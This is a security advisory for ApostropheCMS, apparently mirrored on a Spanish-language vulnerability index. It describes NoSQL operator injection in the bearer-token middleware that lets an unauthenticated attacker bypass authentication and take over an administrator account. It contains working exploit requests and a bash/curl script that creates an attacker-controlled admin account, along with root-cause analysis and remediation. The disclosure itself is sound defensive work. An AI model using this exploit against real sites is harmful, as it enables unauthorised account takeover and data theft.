GHSA-JJ89-69WM-JJ39
Unauthenticated NoSQL operator injection in the bearer-token middleware leads to authentication bypass and remote administrator account takeover
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-JJ89-69WM-JJ39 divulgada · CVSS 9.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche 4.34.1 | apostrophe · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
1. Title
Unauthenticated NoSQL operator injection in the bearer-token middleware leads to authentication bypass and remote administrator account takeover
2. Summary
The per-request bearer-token middleware in `@apostrophecms/express` builds a MongoDB query from the request-supplied token value without type-checking or laundering it. `express-bearer-token` populates `req.token` directly from `req.query.access_token` (or the request body), so an attacker can supply an object such as `?access_token[$gt]=`, which becomes the MongoDB operator `{ $gt: "" }` and matches an existing, fully-verified bearer token. The request is then authenticated as that token's owner with no credentials. Because the same middleware also sets `req.csrfExempt = true`, state-changing requests succeed, allowing an unauthenticated attacker to read admin-only data and create a new administrator account full application takeover.
3. Technical Details
### Background
ApostropheCMS authenticates stateless REST API requests with bearer tokens stored in the `aposBearerTokens` collection. A client obtains a token via `POST /api/v1/@apostrophecms/login/login` with `session: false` and then sends it as `Authorization: Bearer <token>` or as the `access_token` query/body parameter. The `expressBearerToken` middleware (the `express-bearer-token` package) extracts that value into `req.token`, and the `bearerTokens` middleware looks it up in MongoDB.
### Expected vs. actual behavior
- Expected: a request is authenticated only if it presents a valid, existing token *string* whose owner is resolved from the database.
- Actual: the token value is used in the Mongo query without type validation. A non-string value (a nested query-string object) is passed straight into the query, letting the attacker inject a MongoDB operator that matches a token they do not possess.
### Root cause
`modules/@apostrophecms/express/index.js`, `bearerTokens` middleware (installed 4.34.0, lines 384–421):
async bearerTokens(req, res, next) {
if (!req.token) {
return next();
}
try {
const userId = await getBearer();
if (userId) {
req.user = await deserializeUser(userId);
}
if (!req.user) {
return res.status(401).send({ name: 'invalid', message: 'bearer token invalid' });
}
req.csrfExempt = true; // <-- auto CSRF exemption for the "authenticated" request
return next();
} catch (e) { /* ... */ }
async function getBearer() {
const bearer = await self.apos.login.bearerTokens.findOne({
_id: req.token, // <-- req.token is attacker-controlled and UNLAUNDERED
expires: { $gte: new Date() },
$or: [
{ requirementsToVerify: { $exists: false } },
{ requirementsToVerify: { $size: 0 } }
]
});
return bearer && bearer.userId;
}
}`express-bearer-token@3.0.0` assigns `req.token = req.query.access_token` (or `req.body.access_token`) with no type check, so `req.token` can be an object. Supplying `?access_token[$gt]=` makes Express's `qs` parser set `req.query.access_token = { $gt: "" }`. The query becomes `findOne({ _id: { $gt: "" }, expires: { $gte: now }, $or: [ ... ] })`, which matches the first active, fully-verified token in the collection. Its `userId` is loaded into `req.user`, and `req.csrfExempt` is set to `true`. Every other consumer of an incoming token launders it first (`self.apos.launder.string(...)` in the login routes); this middleware does not.
### Relationship to existing advisories (not a duplicate)
This is distinct from CVE-2026-32730 / GHSA-v9xm-ffx2-7h35 ("MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware", patched in 4.28.0). That advisory addressed the *logic* of the `requirementsToVerify` check (incomplete login tokens being accepted) and its fix added the `$or: [ requirementsToVerify ... ]` clause visible above. It did not add any type-check or laundering of `req.token`. The NoSQL operator-injection via the `_id` field is a separate, unfixed defect that remains present in the current release (4.34.0), verified by source inspection and live reproduction (Section 4). No published advisory covers request-supplied `req.token` reaching the Mongo query unlaundered.
### Confirmed evidence and limitations
- Reproduced end-to-end on `apostrophe@4.34.0` (latest) at runtime, 2026-10-30, on a disposable local instance with MongoDB and synthetic data only.
- Precondition: at least one active, fully-verified bearer token must exist in `aposBearerTokens`. This is the normal state of any deployment whose users or integrations authenticate to the REST API with `session: false` (typical headless/API usage; the default `bearerTokens` option is enabled). Where several tokens exist, `findOne` returns one; an attacker can enumerate the `_id` space with range operators to authenticate as each owner in turn until an administrator is found.
- Not verified: the exact earliest affected version. The unlaundered `_id: req.token` pattern is present in current source; the version range before 4.34.0 was not individually runtime-tested.
4. Proof of Concept
### Environment used
- `apostrophe@4.34.0`, Node.js v22, MongoDB 7 (local Docker container), disposable database, synthetic data only. No third-party or production system was touched.
- Default configuration (`bearerTokens` enabled). A single active admin bearer token existed in the collection (created by a normal `session:false` login), representing a routine headless/API deployment.
Requests and observed responses (unauthenticated attacker, no credentials)
# (baseline) anonymous cannot list users (admin-only)
GET /api/v1/@apostrophecms/user
-> HTTP 404
# (exploit, read) NoSQL operator injection -> authenticated as a token owner
GET /api/v1/@apostrophecms/user?access_token[$gt]=
-> HTTP 200 { "results": [ { "username": "guest", ... }, { "username": "admin", ... } ], ... }
# (exploit, write) bearer middleware set req.csrfExempt=true -> create a new admin
POST /api/v1/@apostrophecms/user?access_token[$gt]=
{"title":"poc-admin","username":"pocadmin","password":"PoC!2026x","role":"admin"}
-> HTTP 200 (admin account created)
# (takeover) log in as the attacker-created admin
POST /api/v1/@apostrophecms/login/login
{"username":"pocadmin","password":"PoC!2026x","session":false}
-> HTTP 200 { "token": "ul10nz1hz157hcq5hfiih6cx" }Database verification after the unauthenticated POST (synthetic instance):
db.aposDocs.find({type:"@apostrophecms/user"}, {username:1, role:1, _id:0})
-> { username: "admin", role: "admin" }
{ username: "guest", role: "guest" }
{ username: "pocadmin", role: "admin" } <-- persisted by an UNAUTHENTICATED request`{ $ne: null }` works identically to `{ $gt: "" }`.
Reproduction script (bash + curl)
#!/usr/bin/env bash
set -uo pipefail
B="${1:-http://localhost:3000}"
echo "[*] baseline (anonymous, admin-only user list):"
curl -s -o /dev/null -w " HTTP %{http_code} (expect 404/403)\n" "$B/api/v1/@apostrophecms/user"
echo "[*] exploit GET ?access_token[\$gt]= (no credentials):"
curl -sg -o /dev/null -w " HTTP %{http_code} (200 = AUTH BYPASS)\n" "$B/api/v1/@apostrophecms/user?access_token[\$gt]="
echo "[*] exploit POST create admin (csrf-exempt bearer):"
curl -sg -X POST "$B/api/v1/@apostrophecms/user?access_token[\$gt]=" -H 'Content-Type: application/json' \
-d '{"title":"poc-admin","username":"pocadmin","password":"PoC!2026x","role":"admin"}' \
-o /dev/null -w " HTTP %{http_code} (200 = admin account created)\n"
echo "[*] login as attacker-created admin:"
curl -s -X POST "$B/api/v1/@apostrophecms/login/login" -H 'Content-Type: application/json' \
-d '{"username":"pocadmin","password":"PoC!2026x","session":false}' \
-w "\n (token above = FULL TAKEOVER)\n"## 5. Impact
Complete, unauthenticated compromise of confidentiality, integrity and availability for any deployment that uses bearer-token API authentication:
- Authentication bypass act as an existing token owner with no credentials.
- Privileged data disclosure read admin-only API resources (users, drafts, etc.).
- Privileged writes the automatic `req.csrfExempt = true` lets state-changing requests through, including creating a new administrator account (demonstrated), establishing persistent control.
- Also serves as an auth/CSRF-exemption primitive that un-gates other authenticated-only endpoints (see the F3+F2 chain in Report 2).
## 6. Affected Versions
- Ecosystem: npm
- Package: `apostrophe`
- Affected: confirmed on 4.34.0 (latest at time of testing). The unlaundered `_id: req.token` lookup is present in current source and was not introduced by the CVE-2026-32730 fix, so earlier releases in the 4.x line are very likely affected; the exact earliest version was not individually runtime-verified.
- Patched: none known.
- Dependency context: `express-bearer-token@3.0.0` (returns the token value without a type check).
## 7. Severity
Critical. `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` = 9.8.
Honest caveat: a scorer who treats "an active bearer token must already exist in the collection" as attack complexity outside the attacker's control would use `AC:H`, giving `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` = 8.1 (the same base score GitHub assigned to the sibling CVE-2026-32730). Either way this is the most severe of the three findings. Final scoring is the maintainers' to confirm.
## 8. Weaknesses (CWE)
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic (NoSQL injection)
- CWE-287: Improper Authentication
- CWE-863: Incorrect Authorization
- CWE-20: Improper Input Validation
## 9. Suggested remediation
- Reject a non-string token before querying, e.g. `if (typeof req.token !== 'string') return next();` (or respond 401), and/or wrap with `self.apos.launder.string(req.token)`.
- Apply the same guard to the API-key path and anywhere request-supplied values reach a MongoDB query. Consider a global guard that rejects object-typed values in `req.query` / `req.body` used as identifiers.
## 10. References
- `modules/@apostrophecms/express/index.js` (bearer-token middleware, `getBearer`)
- `express-bearer-token@3.0.0`
- Distinct from CVE-2026-32730 / GHSA-v9xm-ffx2-7h35 (MFA/TOTP bypass, patched 4.28.0)
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmapostrophe |
Corregida | 4.34.1 | 0 d | 4.34.1 no afectada |
4.34.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-jj89-69wm-jj39Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
